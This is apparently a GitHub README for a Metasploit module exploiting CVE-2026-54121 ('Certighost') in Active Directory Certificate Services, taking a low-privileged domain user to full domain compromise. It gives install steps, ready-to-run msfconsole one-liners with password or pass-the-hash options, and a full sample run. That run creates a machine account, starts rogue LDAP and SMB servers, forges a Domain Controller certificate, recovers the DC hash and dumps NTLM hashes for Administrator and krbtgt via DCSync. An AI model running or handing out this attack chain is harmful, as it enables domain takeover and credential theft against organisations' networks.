nafiez/metasploit-cve-2026-54121-certighostA Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller.
Certighost originally discovered and exploited by h0j3n and Aniq Fakhrul. This repo contains Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller. That certificate is used for PKINIT, UnPAC-the-hash recovers the DC's NT hash, and DCSync does the rest.
mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/
Verify it parses and loads:
ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb
msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"
Ports 389 and 445 are privileged, so the module must run as root.
One-liner of MSF
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run"
Running msfconsole
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run
One-liner of MSF
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"
Running msfconsole
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run
NTLM_HASH accepts a bare NT hash, :NT, or LM:NT. When both PASSWORD and NTLM_HASH are set, the hash wins.
Useful when you want the certificate for offline or later use:
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"
$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL; run"
[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*] Discovering CA...
[+] Found CA: ContosoCert-CA (DC01.contoso.lab)
[*] Discovering target DC...
[+] Target DC: DC01$ (DC01.contoso.lab)
[+] CA: ContosoCert-CA (192.168.10.10)
[+] Target: DC01$
[+] Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+] Password: CGf0a69633d2Aa1
[+] SID: S-1-5-21-2005457936-2008376057-2514283296-1756
[+] Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*] Listener IP: 192.168.44.128
[+] Rogue LDAP server: 192.168.44.128:389
[+] Rogue SMB server: 192.168.44.128:445
[*] Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+] Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+] Certificate issued!
[+] PFX (loot): /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+] PFX (local): /root/DC01_certighost.pfx
[+] Subject: /CN=DC01.contoso.lab
[+] Issuer: /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+] PKINIT successful - TGT for [email protected]
[+] ccache saved: /root/DC01.ccache
[*] Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+] NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*] Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+] DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*] (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+] Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options
Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):